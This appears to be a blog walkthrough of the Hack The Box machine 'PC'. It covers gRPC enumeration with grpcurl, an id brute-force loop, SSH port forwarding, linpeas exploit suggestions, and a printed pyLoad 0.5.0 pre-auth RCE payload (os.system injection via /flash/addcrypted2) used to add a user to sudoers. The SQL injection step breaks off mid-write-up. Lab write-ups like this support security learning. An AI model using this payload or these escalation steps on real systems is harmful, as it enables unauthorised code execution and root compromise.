We start off with standard nmap scan:

u01@nostromo:~$ sudo nmap -A -p- pc.htb -oA HTB/PC/pc
[sudo] password for u01: 
Starting Nmap 7.94 ( ) at 2023-09-30 14:49 IST
Nmap scan report for pc.htb (
Host is up (0.038s latency).
Not shown: 65533 filtered tcp ports (no-response)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Linux 5.X|4.X|2.6.X (95%), Crestron 2-Series (86%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series
Aggressive OS guesses: Linux 5.0 (95%), Linux 4.15 - 5.8 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
1 50.75 ms
2 50.86 ms pc.htb (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 125.52 seconds

So we have a Linux box with the standard SSH port exposed running OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 and, more interestingly, TCP 50051 open running an unknown service.

A quick netcat connection to port 50051 with a “help” command reveals nothing:

u01@nostromo:~$ nc -v pc.htb 50051
pc.htb [] 50051 (?) open
▒? ? ?help

A browser connection likewise displays gibberish:

After a bit of digging around and returning from a shallow Docker-shaped rabbit hole, I’m seeing enough mentions of gRPC to begin investigating that. I want to find a simple gRPC CLI client to confirm this is the right path, and I come across this useful article: Grpc service enumeration. Introduction: | by ShellReaper | Medium

Option 2 in that article, using grpcurl to enumerate the service, sounds perfect. After a bit of messing with installing golang and adding the correct paths (Installing Golang on Kali Linux – Rafe Hart (, I make a successful connection and can view the exposed services:

u01@nostromo:~$ grpcurl -plaintext pc.htb:50051 list
u01@nostromo:~$ grpcurl -plaintext pc.htb:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
u01@nostromo:~$ grpcurl -plaintext pc.htb:50051 describe grpc.reflection.v1alpha.ServerReflection
grpc.reflection.v1alpha.ServerReflection is a service:
service ServerReflection {
rpc ServerReflectionInfo ( stream .grpc.reflection.v1alpha.ServerReflectionRequest ) returns ( stream .grpc.reflection.v1alpha.ServerReflectionResponse );

We seem to get a successful response when we try to log in using credentials admin:admin:

u01@nostromo:~$ grpcurl -plaintext -d '{
"password": "admin",
"username": "admin"
}' pc.htb:50051 SimpleApp.LoginUser
"message": "Your id is 840."

Trying to use the method getInfo on this id returns a missing token header error:

u01@nostromo:~$ grpcurl -plaintext -d '{
}' pc.htb:50051 SimpleApp.getInfo
"message": "Authorization Error.Missing 'token' header"

The gRPC guide also suggested a GUI tool, fullstorydev/grpcui: An interactive web UI for gRPC, along the lines of postman (, which I try to see if it will make enumeration a little easier. With this tool it’s clearer that a header response is returned with a successful login, and this header “token” can be supplied to the getInfo request to get a successful response, which simply states “Will update soon”:

Logging in each time generates a new id. With a bit of manual enumeration, id 1 also has a message, “The admin is working hard to fix the issues”.

I decide to brute force the id field to see if there’s any other messages between 1 – 1000 with this bash script:

for ((i=0; i<=1000; i++)); do grpcurl -plaintext -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTY5NjA5NjQ1OH0.fUdaEAqsG0y3afGp4PqxGKKu4gbFr4wZS666bxIya1s" -d '{
"id": "'"$i"'"
}' pc.htb:50051 SimpleApp.getInfo; done

For most IDs this returns “Message: Unexpected <class ‘TypeError’>: ‘NoneType’ object is not subscriptable”, which is somewhat expected. However, it also returns that error for the admin ID I know exists…or existed. I’m not sure if the script has broken the box or if the id’s just do not persist for some reason, but at this stage I give the box a reboot to be on the safe side.

After reboot and a little more testing, I see the same behaviour; login as admin, query ID 1, success, query the generated ID, error. Log in as admin, query generated ID, success, query ID 1, error. Querying previous ID’s fails. It’s almost as if I can only make a single request per login.

I attempt the same in Burpsuite, but the same result, only ID 1 returning a valid response:

After some further digging I come across this article: gRPC Security Series: Part 3. Security Vulnerabilities in gRPC | by IBM PTC Security | Medium. This details some similar security issues as our box, and implies that gRPC injection is possible.  I try a few common injections through Burpsuite repeater but don’t get anywhere. Time to break out SQLmap. I capture a getInfo request in Burpsuite and pass it as an argument into sqlmap:

We try the credentials obtained for user sau on the open SSH port and we get a connection, where we can grab the user.txt flag:

u01@nostromo:~$ ssh sau@pc.htb
sau@pc.htb's password: 
Last login: Mon May 15 09:00:44 2023 from
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
sau@pc:~$ ll user.txt 
-rw-r----- 1 root sau 33 Oct 1 15:39 user.txt

Quick check for anything suss with sudo -l and any interesting files in home directory, but nothing of note. I upload linpeas and kick it off. Most interesting parts:

╔══════════╣ Operative system
Linux version 5.4.0-148-generic (buildd@lcy02-amd64-112) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023
Distributor ID: Ubuntu
Description: Ubuntu 20.04.6 LTS
Release: 20.04
Codename: focal

╔══════════╣ Sudo version
Sudo version 1.8.31

╔══════════╣ Executing Linux Exploit Suggester
[+] [CVE-2022-2586] nft_object UAF

Exposure: probable
Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
Download URL:
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-4034] PwnKit

Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL:

[+] [CVE-2021-3156] sudo Baron Samedit

Exposure: probable
Tags: mint=19,[ ubuntu=18|20 ], debian=10
Download URL:

[+] [CVE-2021-3156] sudo Baron Samedit 2

Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL:

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Exposure: probable
Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
Download URL:
Comments: ip_tables kernel module must be loaded

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL:
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

Exposure: less probable
Download URL:

╔══════════╣ Active Ports
tcp 0 0* LISTEN - 
tcp 0 0* LISTEN - 
tcp 0 0* LISTEN - 
tcp 0 0* LISTEN - 
tcp6 0 0 :::50051 :::* LISTEN - 
tcp6 0 0 :::22 :::* LISTEN -

╔══════════╣ SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root 121K Dec 1 2022 /snap/snapd/17950/usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304) 
-rwsr-xr-x 1 root root 84K Nov 29 2022 /snap/core20/1778/usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 52K Nov 29 2022 /snap/core20/1778/usr/bin/chsh
-rwsr-xr-x 1 root root 87K Nov 29 2022 /snap/core20/1778/usr/bin/gpasswd
-rwsr-xr-x 1 root root 55K Feb 7 2022 /snap/core20/1778/usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 44K Nov 29 2022 /snap/core20/1778/usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 67K Nov 29 2022 /snap/core20/1778/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) 
-rwsr-xr-x 1 root root 67K Feb 7 2022 /snap/core20/1778/usr/bin/su
-rwsr-xr-x 1 root root 163K Jan 19 2021 /snap/core20/1778/usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 39K Feb 7 2022 /snap/core20/1778/usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-- 1 root systemd-resolve 51K Oct 25 2022 /snap/core20/1778/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 463K Mar 30 2022 /snap/core20/1778/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 23K Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 463K Apr 3 22:47 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 144K Dec 1 2022 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304) 
-rwsr-xr-- 1 root messagebus 51K Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 67K Feb 7 2022 /usr/bin/su
-rwsr-xr-x 1 root root 67K Nov 29 2022 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) 
-rwsr-xr-x 1 root root 84K Nov 29 2022 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 39K Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 44K Nov 29 2022 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 55K Feb 7 2022 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 52K Nov 29 2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 163K Apr 4 11:56 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 39K Feb 7 2022 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 87K Nov 29 2022 /usr/bin/gpasswd

╔══════════╣ Unexpected in root

Checking SUID first, but nothing seems to be vulnerable. Next is to check the sudo version, which is highlighted as a potential escalation vector multiple times in Linpeas. A Google reveals mohinparamasivam/Sudo-1.8.31-Root-Exploit: Root shell PoC for CVE-2021-3156 ( as the first result, which initially looks promising, but the provided check for vulnerability using “sudoedit -s Y” returns usage information, which implies no vulnerability.

Next I run through a few of the “probable” vulnerabilities listed, but none work.

Next is to investigate the internal service listening on port 8000. An initial netcat connection confirms HTTP:

sau@pc:~$ nc -v localhost 8000
Connection to localhost 8000 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Content-Length: 30
Content-Type: text/plain

HTTP requires CRLF terminators

I use curl to get a glimpse of what we’re dealing with, and after an initial redirect, we seem to have a login page:

sau@pc:~$ curl http://localhost:8000
<!doctype html>
<html lang=en>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2Flocalhost%3A8000%2F">/login?next=http%3A%2F%2Flocalhost%3A8000%2F</a>. If not, click the link.
sau@pc:~$ curl http://localhost:8000/login?next=http%3A%2F%2Flocalhost%3A8000%2F
<!DOCTYPE html>
<html lang="en">

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

<link rel="stylesheet" type="text/css" href="/_themes/modern/vendor/Bootstrap/css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="/_themes/modern/vendor/jQuery/jQuery%20UI/jquery-ui.min.css"/>
<link rel="stylesheet" type="text/css" href="/_themes/modern/vendor/mdtoast/css/mdtoast.min.css"/>
<link rel="stylesheet" type="text/css" href="/_themes/modern/css/base.css" />

<link rel="icon" href="/_themes/modern/img/favicon.ico"/>

<style type="text/css">
.ui-widget-content .ui-icon {
background-image: url("/_themes/modern/img/ui-icons_444444_256x240.png");

I can’t quite tell from the HTML what the service is, but it does reference uploading containers, so next step is to get browser access to this through SSH remote port forwarding. In preparation we start the SSH service on our Kali box. Having configured my SSH config file already for a previous box (“port” value in /etc/ssh/sshd_config), my SSH server is listening on 2222, as we can confirm with netstat:

u01@nostromo:/repo/CVE-2021-4034$ netstat -lt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0 localhost:40265* LISTEN 
tcp 0 0 localhost:45305* LISTEN 
tcp 0 0* LISTEN 
tcp6 0 0 localhost:39333 [::]:* LISTEN 
tcp6 0 0 localhost:http-alt [::]:* LISTEN 
tcp6 0 0 [::]:2222 [::]:* LISTEN

We enter the following command on pc.htb:

</html>sau@pc:~$ ssh -R 9999:localhost:8000 u01@ -p 2222
The authenticity of host '[]:2222 ([]:2222)' can't be established.
ECDSA key fingerprint is SHA256:IBJglWmm0CFxvX6PNrpHhBXF6i8crw7zZR874a/PIes.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[]:2222' (ECDSA) to the list of known hosts.
u01@'s password: 
Linux nostromo 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Sep 14 10:41:22 2023 from

This opens up the connection back to us, where we can now view the service running on 8000 via a browser to http://localhost:9999 :

Initially I try credential reuse and default credentials, but no success. A quick bit of enumeration reveals the use of Jquery 3.2.1, kUqery UI 1.12.1. core-js 3.15.2, and Bootstrap 3.3.2, though I can’t seem to find a version for pyLoad itself.

Searchsploit does show a RCE for pyLoad 0.5.0:

u01@nostromo:~$ searchsploit pyload
------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------- ---------------------------------
PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) | python/webapps/
------------------------------------------------------------------------------------------------------------- ---------------------------------

I can’t establish the version of PyLoad from the source, but I’m confident this exploit is worth exploring after reviewing the release history of PyLoad at Releases · pyload/pyload ( With the latest release seemingly Feb 2020, and this exploit being dated June 2023, it’s highly likely we’re dealing with a vulnerable version.

I mirror the exploit from searchsploit and take a look at the source to see what we’re working with. It first checks the target is live by making a request to url/flash/addcrypted2. Once confirmed, it makes a request to the target with a user supplied command. This command is injected into the payload, which appears to abuse the /flash/addcrypted2/jk argument. The function runExploit is the most significant part of the script:

def runExploit(url, cmd): 
endpoint = url + '/flash/addcrypted2' 
if " " in cmd: 
validCommand = cmd.replace(" ", "%20") 
validCommand = cmd 

payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' 
test =, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload) 
print('[+] The exploit has be executeded in target machine. ')

My first thought is to establish a reverse shell with this exploit, but I don’t have any lucky connecting back with either bash or python command, I suspect due to the combination of double and single quotes in the payload string. Supplying the command for this exploit doesn’t return anything in your host’s shell, so as a proof of concept and to see what user we’re dealing with, I attempt to write a file to sau’s home directory:

u01@nostromo:~/HTB/PC$ python -u http://localhost:9999 -c "touch /home/sau/test"
[+] Check if target host is alive: http://localhost:9999
[+] Host up, let's exploit! 
[+] The exploit has be executeded in target machine.

We’re using localhost as the target because we are still accessing the internal PyLoad page via the SSH port forwarding. The exploit completes, and we find the test file is created successfully as root:

au@pc:~$ ll
total 36
drwxr-xr-x 4 sau sau 4096 Oct 7 13:37 ./
drwxr-xr-x 3 root root 4096 Jan 11 2023 ../
lrwxrwxrwx 1 root root 9 Jan 11 2023 .bash_history -> /dev/null
-rw-r--r-- 1 sau sau 220 Feb 25 2020 .bash_logout 
-rw-r--r-- 1 sau sau 3771 Feb 25 2020 .bashrc 
drwx------ 2 sau sau 4096 Jan 11 2023 .cache/ 
-rw-r--r-- 1 sau sau 807 Feb 25 2020 .profile 
drwx------ 2 sau sau 4096 Oct 7 13:03 .ssh/ 
lrwxrwxrwx 1 root root 9 Jan 11 2023 .viminfo -> /dev/null 
-rwxrwxr-x 1 sau sau 1783 Oct 7 13:16* 
-rw-r--r-- 1 root root 0 Oct 7 13:37 test 
-rw-r----- 1 root sau 33 Oct 7 12:56 user.txt

Given the initial difficulties with establishing a reverse shell, I take the less elegant route of using the exploit to add user sau to sudoers, log sau out and back in to refresh permissions, and elevate to root to retrieve the root flag:

u01@nostromo:~/HTB/PC$ python -u http://localhost:9999 -c "usermod -aG sudo sau"
[+] Check if target host is alive: http://localhost:9999
[+] Host up, let's exploit! 
[+] The exploit has be executeded in target machine.

sau@pc:~$ sudo -l 
[sudo] password for sau: 
Matching Defaults entries for sau on localhost: 
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 

User sau may run the following commands on localhost: 

sau@pc:~$ sudo su
root@pc:/home/sau# ll /root
total 68
drwx------ 7 root root 4096 Apr 27 15:32 ./
drwxr-xr-x 21 root root 4096 Apr 27 15:23 ../
lrwxrwxrwx 1 root root 9 Jan 11 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 Apr 4 2023 .cache/
drwxr-xr-x 3 root root 4096 Apr 4 2023 .local/
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 7 root root 4096 Jan 11 2023 .pyload/
-rw------- 1 root root 3203 Apr 27 15:32 .viminfo
drwxr-xr-x 3 root root 4096 Apr 27 13:15 Downloads/
-rw-r----- 1 root root 33 Oct 7 12:56 root.txt
drwx------ 3 root root 4096 Jan 11 2023 snap/
-rw-r--r-- 1 root root 24576 Jan 11 2023 sqlite.db.bak



Leave a Reply

Your email address will not be published. Required fields are marked *